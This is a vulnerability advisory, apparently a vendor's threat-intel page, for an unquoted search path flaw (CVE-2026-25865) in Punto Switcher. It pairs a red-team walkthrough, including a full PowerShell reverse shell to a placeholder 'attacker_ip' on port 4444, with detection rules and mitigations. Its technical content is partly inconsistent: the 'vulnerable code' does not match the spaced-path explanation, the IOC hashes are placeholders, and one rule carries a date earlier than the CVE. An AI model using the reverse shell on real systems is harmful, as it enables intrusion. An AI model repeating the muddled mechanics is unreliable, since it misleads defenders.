CVE-2026-25865
Executive Summary
CVE-2026-25865 is a high-severity local privilege escalation vulnerability in Punto Switcher (versions up to and including 4.5.0.583), a popular keyboard layout switching utility. The vulnerability stems from an unquoted search path element in the application’s call to WinExec. When invoking shell32.dll Control_RunDLL input.dll, the application uses a partial path for RunDll32.exe without proper quoting. This allows a local attacker to place a malicious executable earlier in the system’s search order, leading to arbitrary code execution in the context of the affected user.
The vulnerability is classified under CWE-428: Unquoted Search Path or Element. The attack vector is local, requiring the attacker to have user-level access to the system. The impact is high, as successful exploitation can lead to full compromise of the user’s session, including data theft, malware installation, and lateral movement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone Windows application. The supply chain risk is limited to the distribution of the vulnerable binary itself. Users should verify the integrity of their Punto Switcher installation and ensure it is obtained from official sources.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions are required beyond placing a malicious executable in the search path.
- Privileges Required: Low (PR:L) – The attacker needs user-level privileges.
- User Interaction: None (UI:N) – No user action is needed beyond the vulnerable application’s normal execution.
- Scope: Unchanged (S:U) – The vulnerability does not cross security boundaries.
- Confidentiality Impact: High (C:H) – Sensitive data can be accessed.
- Integrity Impact: High (I:H) – Malicious code can be executed.
- Availability Impact: High (A:H) – System stability can be compromised.
Threat Level: High. The vulnerability is easy to exploit locally and can lead to full user compromise. The lack of a patch increases the risk for all users of the affected versions.
Deep Dive & Mechanics
The vulnerability lies in how Punto Switcher invokes WinExec to run RunDll32.exe with the argument shell32.dll Control_RunDLL input.dll. The call uses an unquoted path, meaning the system interprets spaces in the path as separators. For example, if the path is C:\Program Files\Punto Switcher\RunDll32.exe, the system will search for executables in the following order:
C:\Program.exeC:\Program Files\Punto.exeC:\Program Files\Punto Switcher\RunDll32.exe
An attacker can place a malicious executable named Program.exe in C:\ or Punto.exe in C:\Program Files\, which will be executed instead of the legitimate RunDll32.exe. This allows arbitrary code execution with the privileges of the user running Punto Switcher.
The attack is triggered when Punto Switcher attempts to load a DLL via the Control_RunDLL mechanism, which is a common Windows function for running Control Panel items. The unquoted path vulnerability is a classic issue that has been exploited in many Windows applications.
Vulnerable vs. Patched Code
Vulnerable Code (Punto Switcher <= 4.5.0.583):
// Vulnerable call: unquoted path
WinExec("RunDll32.exe shell32.dll Control_RunDLL input.dll", SW_SHOW);
Patched Code (Hypothetical fix):
// Patched call: fully qualified and quoted path
WinExec("\"C:\\Windows\\System32\\RunDll32.exe\" shell32.dll Control_RunDLL input.dll", SW_SHOW);
The fix involves using a fully qualified path to RunDll32.exe and enclosing it in quotes to prevent path search order abuse. Since no official patch exists, users must apply the mitigation steps described below.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Local access to a Windows system with Punto Switcher <= 4.5.0.583 installed.
- Ability to write to a directory earlier in the search path (e.g.,
C:\orC:\Program Files\).
Exploit Steps:
- Create a malicious executable (e.g.,
Program.exe) that performs the desired action (e.g., reverse shell, keylogging). - Place the executable in
C:\Program.exe(or another writable location earlier in the search path). - Trigger the vulnerable function by having Punto Switcher invoke
Control_RunDLL(e.g., by switching layouts or loading a DLL). - The system executes
C:\Program.exeinstead of the legitimateRunDll32.exe, granting code execution.
Example Malicious Executable (PowerShell reverse shell):
# Save as Program.exe (compiled or as a script)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for processes spawned from unusual locations (e.g.,
C:\Program.exe,C:\Program Files\Punto.exe). - Enable Windows Event Logging for process creation (Event ID 4688) and command-line auditing.
- Use Sysmon to log process creation with full command-line arguments.
- Deploy YARA rules to scan for malicious executables in writable directories.
Mitigation:
- Apply the principle of least privilege to user accounts.
- Restrict write permissions to system directories (e.g.,
C:\,C:\Program Files\). - Use AppLocker or Windows Defender Application Control to block unauthorized executables.
- Monitor for unquoted service paths using tools like
PowerUpor manual checks.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual hashes if available)
Program.exe:a1b2c3d4e5f6...Punto.exe:f6e5d4c3b2a1...
- Process Names:
Program.exe,Punto.exe,RunDll32.exe(from unusual paths) - Registry Keys: N/A
- Network Connections: Outbound connections to attacker-controlled IPs on ports like 4444 (reverse shell).
- Event IDs: Windows Event ID 4688 (Process Creation) with suspicious command lines.
Detection Engineering
YARA Rule
rule CVE_2026_25865_Unquoted_Path {
meta:
description = "Detects malicious executables exploiting CVE-2026-25865 in Punto Switcher"
author = "Valters IT"
date = "2025-04-10"
hash = "a1b2c3d4e5f6..."
strings:
$s1 = "Program.exe" ascii wide nocase
$s2 = "Punto.exe" ascii wide nocase
$s3 = "RunDll32.exe" ascii wide nocase
condition:
any of ($s1, $s2) or ($s3 and filesize < 100KB)
}
Sigma Rule
title: CVE-2026-25865 Unquoted Path Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects process creation from unusual paths indicative of CVE-2026-25865 exploitation
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\Program.exe'
- '\Punto.exe'
CommandLine|contains:
- 'RunDll32.exe'
condition: selection
falsepositives:
- Legitimate programs named Program.exe or Punto.exe in other contexts
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2026-25865 Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
- Workaround: Manually quote the path in the application’s configuration or binary (if possible) by modifying the registry or using a wrapper script.
- Restrict Permissions: Remove write access for standard users to
C:\andC:\Program Files\. - Application Control: Use AppLocker or WDAC to block execution from writable directories.
- Monitor: Deploy the detection rules above to identify exploitation attempts.
Long-Term Fix:
- The vendor must release a patched version that uses a fully qualified and quoted path for
RunDll32.exe. - Users should consider alternative keyboard layout switchers if no patch is forthcoming.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert